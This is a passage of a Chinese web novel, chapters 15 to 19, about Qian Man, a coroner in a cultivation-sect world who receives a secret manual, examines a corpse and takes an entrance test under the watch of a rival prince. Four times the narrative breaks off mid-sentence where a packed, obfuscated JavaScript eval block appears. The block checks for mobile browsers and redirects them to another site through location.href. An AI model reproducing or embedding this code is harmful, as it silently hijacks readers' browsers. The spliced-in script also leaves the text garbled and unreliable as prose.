宋沐风笑了笑,“不必多礼,陛下允你休沐,怎么不在家休息?” 这笑容让钱满一时间愣住。 她其实也是个颜狗。 今天的宋沐风穿了合体的浅青色春衫,发髻挽得略微蓬松,虽然这人眼角已经有了些许岁月痕迹,但看得出来,年轻的时候是何等惊艳。 “……回门主,我,我出来……走走路,锻炼身体。”钱满说完伸了个懒腰,活动了一下胳膊腿。 宋沐风看着她,意味不明地点点头,“嗯,你这个体重确实需要锻炼一下。” 钱满:…… 名字,容貌,她都和原主并无二致,但就是身材,原主这幅躯体比她之前壮硕太多了。 “你要是不忙着回家,跟我来一下吧。”宋沐风说,“送你一本书,应该能有助于你精简。” 钱满想说,倒也不比这么客气。 但大老板赠书,她不敢不要,万一是修炼秘籍呢! 四重门的嘉和小筑是宋沐风办公和居住的地方,她也有自己的宅子,但这人大概是个有怪癖的工作狂,一年四季几乎都待在四重门,自己的院子倒是很少回去。 “……多谢门主。” 踏进嘉和小筑的院门,钱满的眼睛一亮,这里布置得清新雅致,跟四重门外面肃穆的风格截然相反,等进到前厅,她心里就明白了一件事。 这么舒服的地方,要她也不愿意回家。 只是,这里未免太过于安静了些,竟然一个伺候的人也没有。 宋沐风指了指桌案边的蒲团,“你先坐一会儿,我去找书。” 钱满一屁股歪在了蒲团上,眼睛打量着这房间的布置,再想想自己家房间的布置,她觉得有必要给刘楚玉普及一下“宋式审美”了。 其实,这房间也说不上哪儿做了什么,就是让人觉得待在这里很舒服,就像是她坐的这个蒲团,看着就是普通的玉米叶编织而成,但不知道怎么回事,坐在上面就感觉像是窝在一团柔软的棉花上。 钱满不可置信地用手感觉了一下,触感粗糙,但坐着的感觉就是另外一回事,莫非自己的屁股构造比较特殊? 钱满天马行空之际,就听到耳边传来宋沐风的声音,“拿去吧。” 钱满接过来,薄薄的一本,封面有些泛黄,上面几个字—— 大概是篆体,她不认识。 咳咳,钱满尴尬地咳嗽了两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15262422|166348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声,“多谢门主,我,我回去一定好好研读。” “不急,再坐一会儿。” 钱满原本想着离开了,但听了宋沐风这句话似乎失去了行动能力一般,又坐回到了蒲团上。 “噢,好。” 这东西真是好得很,钱满想,回头她要买一个放在房间。 “小钱行人,你母亲给你讲过半边人的故事吧?” 钱满:“……讲过一点。” 宋沐风微微点头:“你母亲,是个有心人,只可惜当年四重门的入门测试她没有通过,不具备成为半边人的资格。” 钱满一时间搞不懂宋沐风到底要说什么,不知道该怎么接话。 “不过,我想她现在一定很欣慰。”宋沐风拍拍钱满的肩膀,“回去吧,书里要是有看不懂的问你母亲就可。” - 钱满这边前脚刚走,商钰便来了嘉和小筑。 一进门他就瞪大了眼睛,“师父,你刚才招待贵客了?” 怎么还把那宝贝灵蒲台拿出来了? 这看着平平无奇的蒲草坐垫,其实是一件调养身体的宝器,不仅可以给人注入灵力,还可以帮助初期修练人顺利度过气息紊乱阶段。 特别是对于身体体质特殊的半边人,这灵蒲台更是可以让修练者迅速打通经脉,达到事半功倍的效果。 宋沐风手臂一挥,就看到地上的蒲团轻轻浮起飘向了她的手臂,接近手臂的时候瞬间消失不见。 商钰一看,嘴巴撅得老高,扯着宋沐风的袖子撒娇:“师父父,你都不疼我,让我也坐一回嘛!” 宋沐风轻轻抓住扯着自己的手腕,“你现在的身体状态不允许……” “不是,师父,不是的!”商钰打断了宋沐风,“我现在的身体可好了,原本我也以为只是暂时的,可是这几天我每天调息练功发现了一件奇怪的事情,我胸闷的旧疾好像好了。” “嗯?” 宋沐风一把抓住商钰的手腕,搭脉良久,紧皱的眉头逐渐放松,但也是一脸的疑惑,“我给你的玄晶还不足以让你痊愈,更何况你身体受到七蕊凝烟的侵害,按理说不应该啊……从脉象看,确实是与常人无异了。” “是吧是吧,我现在觉得浑身都是劲儿!”商钰笑嘻嘻地凑过来,“所以,师父,我可以不可以坐坐那个团团呀!” 宋沐风无奈摇摇头,没有说话,只见她手臂挥了一下,圆圆的蒲团就又出现在地面上了,与刚才不同,蒲团的周围带了一圈淡淡的红光。 “也好,我给你调整了一下功效,正好巩固一下你的身体。” 商钰看到蒲团,眼睛歘歘放光,一屁股坐了上去,眯着眼睛长长地出了一口气。 可他万万没想到,宋沐风说:“看看你现在什么样子,这坐姿怎么比钱满还粗鲁——” “什么?”商钰一下子弹跳起来,“师父你说什么,刚刚坐灵蒲台的是钱满?” 宋沐风见惯了商钰一惊一乍的样子,“你有什么意见?” 商钰一脸委屈地坐了回去,可怜兮兮道:“………徒儿哪敢有意见,就是,便宜钱满那个憨货了!” 16. 第 16 章 钱满拿着书回了家,一进门就听到了院子里的笑声。 一家人围坐在树下的石桌下,饭菜飘香,其乐融融。 只是,他们好像忘记了这家里还有个大女儿吧? 钱满都站到桌子跟前了,刘楚玉才咳嗽了一声,“小满回来了啊,吃过了吧?” 钱满看了看这桌子,似乎也加不进去一张椅子了。 “……我吃过了,你们继续。” 钱满一直还担心自己无法在性格和习惯上与原主保持一致露出马脚,但现在看来是她多虑了,原主在这个家的存在感不是一般的低。 这样也好,她就不用担心露出马脚了。 回到了自己院子,钱满洗漱完毕躺到床上才意识到一个问题——她这一天还是早晨吃了一碗粥,但是现在怎么一点儿也不饿呢。 反而,身心舒畅,精力充沛。 但这个中原因到底为何,她没机会细琢磨,因为黑猫见到她就扑了过来。 “喵呜~~” 声音哀怨悠长,似乎在说:你怎么才回来。 更邪乎的是,这黑猫的眼神让钱满有点儿恍惚,总觉得好像是商钰在瞪着自己。 “喵——” 黑猫又一下子从钱满的肩膀窜了下去,在她的脚边来回打转,似乎在确认着什么。 “小黑子,我警告你,要撒尿去外面院子!” “喵!” 黑猫发出一声愤怒的吼叫,冲着钱满的腿挠了一爪子,转身窜到院子去了。 钱满只觉得困意袭来,几乎刚躺下就睡着了。她自然没有觉察到,就在她睡着的时候,刚刚暴走的黑猫去而复返,小东西轻手轻脚地来到了钱满枕头前。 窗外只有浅淡的月光,黑猫的眼睛在黑暗中熠熠发光,浅黄色的光芒似乎要溢出眼眶,光束在钱满的脸上来回扫射了片刻,黑猫闭上了眼睛。 仿佛是下了挺大的决心,黑猫闭眼睁眼来回重复了好几次,最后还是在钱满枕头边上蜷缩了身体,闭上了眼睛。 钱满这一觉睡得深沉,仿佛把这几日缺的觉都给补回来了。 次日睁开眼睛已经是天光大量,耳边传来妹妹的大嗓门。 “大姐,母亲说你们今天要去当值,赶紧起来用餐!” 钱满扶额,觉得自己就是天生的牛马命,不过一想到能去四重门,她倒是有几分期待,看到床边那本书,钱满伸了个懒腰,顺手把书揣到了怀里。 喷香的小米粥,钱满一口气喝了两碗,这纯天然的食材果然口感不一样,如果不是刘楚玉提醒,她还打算再来一碗。 “小满,你已经二十了,虽然你娘给冠字知乐,但你也不能一天到晚傻乐,还是要注意一下自己的形象的……你这个腰都快赶上水桶了,我看到时候谁家公子能看得上你!” 知乐? 看来原主的家人对她的要求还真是不高。 钱满看看自己还算标准的腰身,觉得刘楚玉小题大做,再说她来这里就没打算搞女男关系,既然钱家和四重门有渊源,她还不如想办法在四重门混出个名堂,也算对得起原主,不枉来这一遭。 “父亲,女儿还小,暂时还不想考虑婚配,我要好好练功!” 钱明月一脸欣慰,“嗯,不错,不错,祖宗真的是显灵了啊。” 刘楚玉气呼呼地哼了一声,“你们两个想把我气死是吧?这个月的俸银都交上来,你们就专心修练吧!” 钱明月:…… 钱满:…… 钱满不由得感叹,原来经济制裁这个技能她这个爹也是应用得炉火纯青啊。 饭毕,母女两人一起去上值,两人一起边走边聊,自然就说到了宋沐风送的那本书。 钱明月大吃一惊:“什么?门主大人竟然邀请你去了嘉和小筑,还送你一本书?” 嘉和小筑那是什么地方! 那可是每个走进四重门的人都向往的地方! 钱明月活了大半辈子也没机会接近嘉和小筑,没想到她女儿竟然突然有了这样的好运气,这不是祖宗显灵是什么! “快给我看看!” 钱满掏出书本递给了母亲,“母亲,就这本……门主说,我要是看不懂的话,就问你——” 钱明月激动得热泪盈眶,“冰火图!” 钱满听到这个名字意识到了什么,“……是不是和半边人有关的?” 钱明月赶紧把书本揣到怀里放好,又向四周看看,才压低声音说:“这是半边人入门的修练功法……我当年也只是听你姥娘说起过,没想到今日有机会亲眼看到了!” 钱满:“那……母亲何不和我一起修练?” 反正我也不认识里面的字。 钱明月点头:“我正有此意,不过,小满啊,我们还是要低调才是,行人房的事情还是要用心做好——” “那是自然。” 行人房算是四重门的勤杂部门,平日里没什么大事,但每个人也都闲不着,都是一些琐碎的小事,比如处理一些尸源不明的尸体。 两人一进行人房小院,就听到一道带着怒气的声音。 “钱明月,钱满,何在?” 陆清扬双臂抱着肩膀看着母女两人,语气不善:“你们两位可真是会掐时间啊,门主大人都没你们会踩点。” 钱满一看这人就是来找茬的,一想到昨天这人狼狈样子,她就有些憋不住,但钱明月挡在前面开了口。 “陆副组长早啊,您有何吩咐?” 陆清扬清了清嗓子,看了钱满一眼,“我可不敢吩咐你们,不过,门主大人说了,这具男尸身份还没有确定,需要你们尽快处理一下,我们好做进一步检验。” 不是吧? 昨天她逃过一劫,没想到今天在这里等着呢。 钱明月也一愣,但她在四重门呆了近二十年,知道这里面的利害关系,不管这个陆清扬是不是针对他们,正事不能耽误。 昨天女儿说了之后,她一直很期待见识一下所谓的“炸尸”。 看到母女两人的背影,陆清扬心里舒坦不少。 “真以为自己碰巧救了七皇子就能一步登天了?还不是一样在行人房做边角料?” “就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266863|166348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是,”陆清扬身边的随从也跟着附和,“要不是她祖宗厉害,连边角料也不是。” 虽然两人的声音很小,但钱满却听得清清楚楚,她感觉自己的耳朵好像又升级了,她猛地回头,对上陆清扬挑衅的目光。 陆清杨:“……” 算了,逞口舌之快没什么意思,今天就让他们见识一下边角料是怎么是怎么成才的。 放置尸体的行人房四个角落放置着冰块,炸开的尸体大概也进行了一些简单的处理,气味没有昨天浓烈,再加上钱明月给钱满拿了布巾面罩,虽然比不上专业的口罩,但也能遮蔽很大一部分气味。 钱明月哪里见过这样的大场面,不过她到底年长,表面上还能稳住,但同时进来的两个人已经忍不住跑到外面吐了。 看着女儿还能淡定处置,钱明月欣慰地点点头。 “小满,这种高度腐败的尸体,首先要清除——” “我来吧,母亲。”钱满打断了钱明月,“说起来真巧,我昨晚正好梦到了一个案子,情况和这个差不多,对了,我还梦见我曾曾曾姥娘给我指点了……所以,母亲您让我试试吧?” 钱满说的情真意切,钱明月这几日已经对“祖宗显灵”这件事深信不疑,一听到这话,连忙答应:“没问题,母亲就在这里陪你,需要我协助什么你就说。” 您只要能憋住别吐就好。 钱满拿出自己的手术刀,先从头部开始,动作利落地清除腐败组织和蛆虫,然后再一点点清洗,直到尸体身上的伤口渐渐呈现。 钱满拿起刀的那一瞬间,她感觉自己就像是进入到另外一个维度一般,周围的一切似乎都静止了,耳边只有手术刀划过皮肤的细微刺啦声,随着死者伤口逐步呈现,她眼前好像浮现一幅幅画面。 即将临盆的男子与人产生了激烈的争执,对方应该显示抓住的死者的右臂,凶手力气很大,右臂大臂有一处轻微的骨裂,胸部,大腿,后背,几乎全身各个部位都有着明显的外伤。 但这些伤都不足以致命。 钱满再次把目光放在死者的头部,带着羊皮手套,触感不是很清晰,但她还是感觉到了枕骨附近的异常,这里有明显的骨擦感,应该是被什么东西大力击打过。 钱满又仔细探查了一下,估摸着骨片的大小,并不大,约莫小拇指指甲盖宽度大小,一寸长,狭长的一条,而且是一头宽,一头窄,是一个不规则的四边形。 钱满正琢磨着这到底应该是什么样的武器,就听到外面传来脚步声,陆清扬进来了。 “动作快点,耽误了我们办案你们吃罪不起。” 钱满有些忍不住,刚要发作,她看到陆清扬手中的东西,应该就是那把价值不菲的灵刀,之前她没有近距离看到过,单现在看清楚了。 这把刀的刀柄的截面就是一个不规则的四边形,长度目测也有一寸。 陆清扬看到钱满盯着她的刀看,得意道:“我这可是灵刀,不是你手中的破铜烂铁。” 钱满看看自己手中的手术刀,又看看陆清扬的刀,说:“大人还是先看看死者的伤口吧。” 17. 第 17 章 017告示 钱满无所畏惧的申请让陆青杨很不爽,她正要发作,就听到身后传来两声咳嗽声。 紧接着是钱明月诚惶诚恐的声音:“殿,殿下,您怎么来了?” 商钰当然是来看热闹的,但理由还是冠冕堂皇。 “出了新案子,师父说让我也跟着历练一下。”商钰看看陆青杨,“陆副组长,继续吧。” 商钰说完又看看钱家母女,没有说话。 陆青杨有些摸不着头脑,这个七皇子是门主的关门徒弟不假,但他一向心高气傲的,别说历练了,平时来四重门也只是去嘉和小筑,从来不跟她们这些人说话。 怎么突然到行人房来了? 陆青杨想起之前的案子,上次七皇子出事就是在这里啊……那么他来行人房只能是一个原因了,他是来寻仇的。 毕竟七皇子上次出事与钱家有关,虽然最后洗脱了嫌疑,但钱满竟然剖了七皇子的胸啊……嗯,七皇子一定是来报仇的。 一定是这样的,刚刚七皇子看钱满的眼神带着小刀子的。 陆青杨觉得七皇子和自己的立场是一致的。 想到这,她心里顿时舒畅不少。 钱满同样有些懵,自从商钰被害的案子了解,两人这几天没有见过,不知道是不是她的错觉,总觉得这七皇子气色比之前好太多了。 看来,他体内的那颗心脏应该没有大碍了。 钱满莫名松了口气,但下一秒—— “钱满,你看什么呢,不认识本宫啊?” 钱明月一看这两人又要掐架,趁机溜到别的房间去了。 这种场面她早就见怪不怪了,反正自己女儿最多就是挨骂,七皇子挨了一刀,受了这么大委屈,别说骂几句,就是打几拳也是应该的。 钱满之前几乎是在男人堆里摸打滚爬长大的,但商钰和她之前见过的那些男人太不一样,即便是现在一脸嫌弃地看着她,依然不妨碍这人的杀伤力。 很难跟这样颜值的一张脸生气,但一句话不说岂不是太窝囊,既然是死对头,那就应该拿出死对头的架势来。 她这几日也是做了一些功课的。 最近钱满隐隐约约想起不少事儿,其中一桩便是关于七皇子和长皇子的,这俩人也是不对付,敌人的敌人就是朋友,对付商钰,只要提一句长皇子,那就够了。 “殿下威仪四海,小的自然认得,就是小的有件事想不通,听说大殿下尚在髫龄便已通读经史子集,提笔能书锦绣文章,他绣的的桐花更是活灵活现,不知道殿下您怎么看?” 果然,商钰一听这话气得脸色瞬间变了,红了白,白了红,最后眼睛汪出两包泪水。 这下钱满有些傻眼了,她其实心里对商钰这人也没有多大的恨意,就是觉得这人嘴欠想要气气他,谁想到一句话还给人气哭了? “钱满!本宫当然是用眼睛看!他读书写文章与本宫何干!” 商钰抹了把眼泪转身走了,要去宋沐风那里告状,他原本是想接着“历练”的由头,来看看钱满坐了灵蒲台之后是不是脑子灵光点,没想到这人还是一如既往地榆木疙瘩。 商钰气呼呼地离开不久,陆青杨也一脸铁青地从屋里出来了。 陆青杨看了死者身上的伤口,这人后脑的致命伤,从骨片的大小和形状来看,和自己的刀柄颇为相似。她此刻也明白过来,刚刚钱满那句话是什么意思了,顿时觉得后背发凉,不过她很快冷静下来,她手中的这把半边刀是买来的,所以不是仅此一把。 陆青杨万万没想到自己原本只想出口气,事情竟然搞成了这样,她在四重门十几年,查案子查到了自己头上也是第一次。 但这刀伤的痕迹与自己的刀又是那么完美契合,她确实无话可说。 “尸体暂时存在行人房,我会跟门主大人申请,这个案子交给别人负责。”陆青杨说,“钱满,有时候眼睛看到的也不一定就是真相,清者自清,我不怕查。” 钱满点点头,表示认同,别说在这个各类修练体系混杂的世界,即便是单纯的唯物世界,障眼法也随处可在。 陆青杨是个没有关系的“凤凰女”,十几年了全靠自己的辛苦打拼才有了今天,为了买一把武器把自己弄得穷困潦倒,就这样的一个人值得人辛苦布局? 钱满觉得这案子有点儿意思,这背后之人是想着先捏软柿子,其实真正想对付的是四重门? - 嘉和小筑。 商钰声泪俱下地跟宋沐风控诉,“师父,你不知道钱满有多讨厌啊,她竟然跟我提商娇,什么诗书什么文章……还有绣花,我不识字吗?我不会写字吗?我也是会绣花的好吧!” 宋沐风微微叹息,笑了,“天气渐暖,为师正好需要一个香囊,也不一定非要绣花,随便绣点什么都可。” 商钰一下子安静了。 他从下身体羸弱,偏偏喜欢玩刀,读书也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283861|166348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是稀松平常,更不要说做针线,让他绣花,那简直是一刀子扎到了胸口。 说起来,商钰也不是没有学过针线绣工,但结果比较惨烈就是了。 现在一向宠他的师父要他绣香囊? 商钰觉得天都要塌了。 这个世界还有天理吗! 眼前这个人还是最疼爱他的师父父吗! “师父!”商钰扯着宋沐风袖子撒娇,“你看看我的手,万一被针扎了怎么办?” 然而,宋沐风还没有应答,商钰又惊呼起来,他看到了桌子上的一则告示。 应该是宋沐风刚刚写完的,墨迹未干,还飘荡着淡淡的墨香。 “纳新告示?”商钰不解,“年初的时候不是刚刚纳新过?师父,我记得你上个月还说水刀组还有大半人没有被挑选呢。” 四重门每年年初的纳新,这基本是一条铁律了,几十年来都没有改变过,怎么今年换了路子了? 宋沐风没有做过多的解释,“最近中州不太平,四重门也需要新鲜血液。” 告示是第二天贴出来的。 告示内外围满了人,只是几家欢喜几家愁。 “太好了,年初的时候我外出错过了时间,还以为要等到明年呢!” “这算是怎么回事?咱们这些还没有被挑选的破刀人算是被淘汰了?” 告示列举了参加测试的资格条件以及半边人相关的要求和工作内容,钱满看了一会儿,嘴角带了一丝笑意。 验尸,探案,这不是她的老本行? 钱明月看到告示的时候再一次坚信是祖宗显灵,当晚拉着钱满再一次来到了祠堂。 “小满啊,年初你满二十,给你冠字知乐,娘原本是想着你这辈子大概也和我一样,没有机会拿刀,能够平安健康,知道人间快乐,这就够了,可是现在,你的机会来了。” 钱满对于这个突然冒出来告示还有些疑惑。 “不是说一年一次,怎么这个时候突然纳新?” 事有反常必有妖啊。 钱明月感慨,“所以我说这是祖宗显灵,小满啊,这次测试你要好好准备,门主送你的书一定要好好研读。” 那也得我认识才行啊! 谁知钱明月笑了:“知道你不喜读书,这本书不是经书,是帮人调理气息的,我这两日已经大概研究了一下,这样,每天晚上我陪你一起练习,距离入门测试还有半月,希望能有用吧。” 18. 第 18 章 河边浮尸的案子很快被移交到了三组,三组组长王桔是个脾气古怪的主,原本她对上面安排陆青杨去查这个案子还有些不满,案子转到她手中的还很是得意了一下。 但也就是一下。 这案子怎么看都透着古怪,尸体肚子里出来一团活物不说,尸体的身份也是毫无头绪,致命伤很快查明,但与伤口吻合的“凶器”,光是四重门就找到了二十多个。 陆青杨松口气的同时也气得肝疼。 当初她倾其所有买这把刀的时候,那中间人口口声声说这是多年不遇的精品,敢情所谓的精品竟然是烂大街的商品,原来她还以为自己这把灵刀有多不寻常呢,这下好了,光是她们二组就有好几个人有。 只是别人都藏着掖着不说,都说是自己的水刀升级来的,就陆青杨是个实在的憨货,人家一问她就实话实话是自己买的。 郭诗语在一边安慰她:“……你换个角度想想,这东西既然不是唯一,那你的嫌疑就少了很多了。” 哼。 陆青杨哼了一声没搭茬,她心里在琢磨另一件事。 往年的纳新都是一年一次,今年莫名其妙地多了一次,她猜测肯定是门主发现了好苗子,如果真的是这样,她必须要把这个人抢到手。 四重门这三个组,一组是元老基地,个个神龙见首不见尾的,三组也是卧虎藏龙,独独二组,自从组长许伽失踪之后日渐式微,每年纳新,二组也只能从一组、三组挑剩下的人员中选择。 现在人员虽然都说得过去,但出彩的没有,就说她和郭诗语,算是这个年龄段的佼佼者,但在宋沐风的眼里还是有些欠火候,不然也不会迟迟不定这组长的人选了。 告示一出,四重门上下各有打算,来找宋沐风的也不少,都是来探口风的。 别人都是旁敲侧击的,陆青杨梗着脖子直接问了。 “门主,属下今年已经三十又五,在四重门已经整整十五年了,我就想知道这次的好苗子能不能直接给我们二组?以前都是一组和三组先挑人,这次也该轮到我们了吧?” 宋沐风半笑不笑地打量着陆青杨,“陆副组长,你现在当务之急不应该给自己洗脱嫌疑?” 陆青杨:“启禀门主,其实此事不难,只要确定了尸体准确的死亡时间,再查查那个时候相关嫌疑人的行动轨迹,就能证明了。” 宋沐风点头:“说得不错,只是这死亡时间,三组那边还没有确定。” “……”陆青杨有些泄气,“反正我们二组真的很缺人,这次我们要先挑。” 宋沐风:“……听说那天去胡柳河出现场,你带了几个水刀组的人,怎么?没有合眼缘的?” 不说这个还好,一想起那天的事情,陆青杨也很委屈。 “那几个,当天回来就病倒了,说是吃不下饭。” 宋沐风摇摇头,“看来也不是每个人都能吃这碗饭。” 钱满这几日饭量大增。 原因无他,她这几日过得身心具疲,白天在行人房当值,夜晚回到家还要被钱明月拉着“练功”,原主这幅躯体懒散惯了,突然这么折腾,着实有些不适应。 钱明月虽然资质一般,但在监督钱满这件事上实在敬业,几乎眼睛不眨地监督她,钱满连偷懒的机会都没有。 好在她记忆力不错,那本《冰火图》的内容她都背下来了,再加上钱明月的指导,她对书中的调息动作已经滚瓜烂熟了。 至于作用,钱满说不好哪儿有了变化,就觉得自己的睡眠质量上升了不止一个档次。身体冷热交替的感觉已经没有了,左右两边仿佛达成了一个协议,觉得这身体好像听话了,更奇怪的是,她刚来时候的那种割裂感渐渐模糊了。 既然回不去了,那么她就是这个世界的钱满。 - 十日后,四重门的纳新测试正式开始。 与之前的考核测试不同,这次的考核是门主宋沐风亲自主持,三大组组长、副组长参加,另外还有一位特邀考核官。 这位神秘的考核官一身玄衣,发髻高挽,面容却被黑纱遮住,只露出一双眼睛。 他就坐在宋沐风的身边,两人一黑一白,对比明显,而其他的半边人组长、副组长们分列两侧,架势不小。 钱满扫了一眼台上,又看看自己身边的人,心里也难免有些忐忑,祖宗显灵这样的事情也就是骗骗钱明月罢了,她心里明白,要想在这个世界立住脚,还得靠自己这把刀。 她手掌下意识捂住了自己腰间的口袋。 就听到了一声微不可见的嗤笑声。 再看看自己身边的人,一个个诚惶诚恐的,那么这笑声只能是来自台上了。 钱满抬头,对上了那双黑纱掩映下的眼睛,这下她看清楚了。 哼。 蒙得倒是严实,但眼神她认得出来,不是商钰又是谁? 钱满觉得有些头疼。 怎么哪儿都有这位七皇子? 商钰察觉到钱满认出了自己,心里更加得意。 自从那天得知钱满也坐了灵蒲台,后来宋沐风又突然决定纳新,他就猜出这事必然与钱满有关了,他明着央求师父说要来开开眼,其实是来开开心的。 他倒要看看,钱满这个憨货今天怎么出洋相。 当然,商钰也是好奇,钱满到底有什么出奇的地方,竟然引起了宋沐风的注意,要知道他十四岁那年在四重门的测试中拿到了一级乙等的好成绩,他师父也就是说了句:尚可。 要知道他这个“尚可”的成绩也是很多人达不到的高度呢。 这次的测试题目只有一道,就是判断尸体的死亡时间,每个人一刻钟的时间,三个人一组其实检查。 这与往年的入门测试不同,之前的测试都是分三关,第一关检查个人体质,第二关查验剖尸技能,第三关才是判断死亡时间。 这一次是直接到了第三关,这就让很多按照老套路准备的人有些措手不及。 钱满排在队伍的中间,轮到她上场的时候已经接近午时,从考场出来的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292300|166348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个个面色不喜,垂头丧气的。 与钱满分到一组的两个年轻人,一个身材高挑面色严肃,一个是矮个子娃娃脸。 娃娃脸的凑近钱满耳语:“我叫洪灿,她是我的好姐妹莫柠,你叫什么?” 娃娃脸带着笑,眼睛弯弯,让人有种莫名地好感,钱满也小声道:“我叫钱满,回头再聊,咱们该进场了。” 高个子莫柠似乎有些不高兴地瞪了钱满一眼,抓着娃娃脸的手腕就走到钱满前面去了。 钱满深吸一口气,加快脚步向考场走去。 进入到考场前,满副武装的商钰来到了考场。 钱满原本没想到搭理他,但两人目光一相遇,她心里就有点痒痒,就忍不住多看了几眼。 也就是这几眼让商钰有些炸毛。 其他两个人已经进去了,商钰截住了钱满,压低声音道:“你以为这里好玩吗?没这个能力就别来凑热闹。” 其实,商钰也是好心,四重门表面风光,但背后也有数不尽的心酸,随时都可能没了小命,钱满头脑简单能力一般,就安安稳稳当个米虫就好。 这这话听到钱满的耳朵就太刺耳了。 好不好玩的不说,说谁没能力呢。 “那我们就打个赌好了,看看我有没有这个能力。” 商钰本就被她那几眼看得心情不爽,当即应战:“赌就赌,你拿什么赌?” 钱满思考了片刻,觉得自己也没有什么拿得出手的,但气势不能输,“殿下还是想想自己输了怎么办吧。” 说完这句,钱满趁着商钰怔楞的瞬间,转身进了考场,考场里还有其他人,商钰自然不好再发难。 考场其实就是四重门的临时停尸房,考核官就在隔壁的房间,两个房间之间设有观察口,考核官可以清楚地看到考场的情况。 这里的布置和之前审讯萧若的地方差不多。 尽管房间的四角都有冰块降温,房间的气味依然不好闻,钱满这次早有准备,从随身布袋里掏出一个厚实的棉布口罩戴上了。 入门考试的内容钱明月给她说过,验尸是必不可少的阶段,如今天气越来越热了,虽然她不怕但也没有好闻腐尸臭味的习惯。 白布掀开之后,更加浓烈的气味散发出来,同来的两个人都已经紧皱眉头了,其中一个看着钱满的口罩羡慕不已,另一个则扯下长袍衣衫衣角,掩住了口鼻。 这人倒是个会随机应变的。 随着白布缓缓打开,三人的脸上均露出震惊的表情,钱满更是有些不解,这尸体不就是河边发现的那个男人? 这案子移交到三组之后,一直没有了消息,如今过去了大半个月,钱满还以为尸体早就被处理了,没想到竟然第三次又见到了这位“尸兄”。 三人的表情商钰尽收眼底,钱满的震惊在他看来就是害怕。 他得意地跟宋沐风耳语,“师父,你看看她那个窝囊样,我看她不是胆子大,她是缺心眼~~” 如今听力越来越敏锐的钱满:…… 19. 第 19 章 钱满看着眼前的尸体,脑海里飞速运转着,这具体发现的时候已经是巨人观,初步推断死亡时间超过一周,现在距离发现尸体那天又过去半个多月了。 不得不说,四重门保存尸体还是有一套的。 验尸台上的尸体看上去与她那天最后处理过的样子没有太大的区别,没有进一步腐化的迹象。 突然一个声音从外面传来—— “这具尸体是十七天前在壶流河边上发现,此人怀有身孕,胎儿当时处于存活状态,现在需要你们做的,根据这些信息推断尸体的具体死亡时间。” 声音刚落,就听到考场又传来“叮”一声脆响,计时正式开始了。 钱满握着手术刀走向前,其他两个人也镇静下来,三人都是一副志在必得的样子。 这次报名参加测试的确实是好苗子的,商钰提前都打听好了,这一批人有两个颇有些“天赋”的,年初的时候因为有事耽误了。 就说这个娃娃脸洪灿,姐姐洪烁就曾经是一名优秀的半边人,只可惜三年前办案的时候不幸丢了性命,那一次事故四重门损失了三名组员,当时的领队许伽也不知所踪。 洪灿今年只有十七,她一直觉得姐姐的死蹊跷,这也是她想要进入四重门的原因,去年因为不满十六周岁不能参加测试,年初又因为感染了风寒大病了一场,原本想着要再等一年了,谁知道竟然遇到临时纳新这样的好事。 另外一个叫莫柠的,是洪灿的发小,今年十八岁,莫家和洪家算是世交,虽然不是达官显贵,但都是家境殷实的富裕之家,洪烁从小就是这帮孩子的榜样,突然出了那样的事故,两家都很难接受。 洪灿要来四重门一查究竟,莫柠自然要跟随,她比洪灿大一岁,洪烁没了之后,莫柠就觉得自己要负责起姐姐的责任。 报名的参加考试的人员资料商钰仔细看了,他耍了个小手段,故意让这俩人和钱满分到了一组。 他就等着看好戏了。 其实,商钰内心也是矛盾的,他一方面不希望钱满有危险,另一方面也希望看到钱满能出人头地,让她和两个实力不俗的人一组,也不是单纯地想要看她出丑。 明明小时候那么机灵的一个人,病了一场就变成了一个呆头呆脑的笨蛋,商钰心里的那口气总是咽不下去。 钱满落刀的瞬间,纷乱的思绪也渐渐沉淀,手里的刀似乎也有了感应一般,动作行云流水一般飞快,这具尸体她之前接触过,但是却没有机会做进一步的查验。 突然,握着手术刀的右手感觉到一种刺骨的冰凉,也就在这时,她明显地感觉到刀触碰到了一个坚硬的东西。 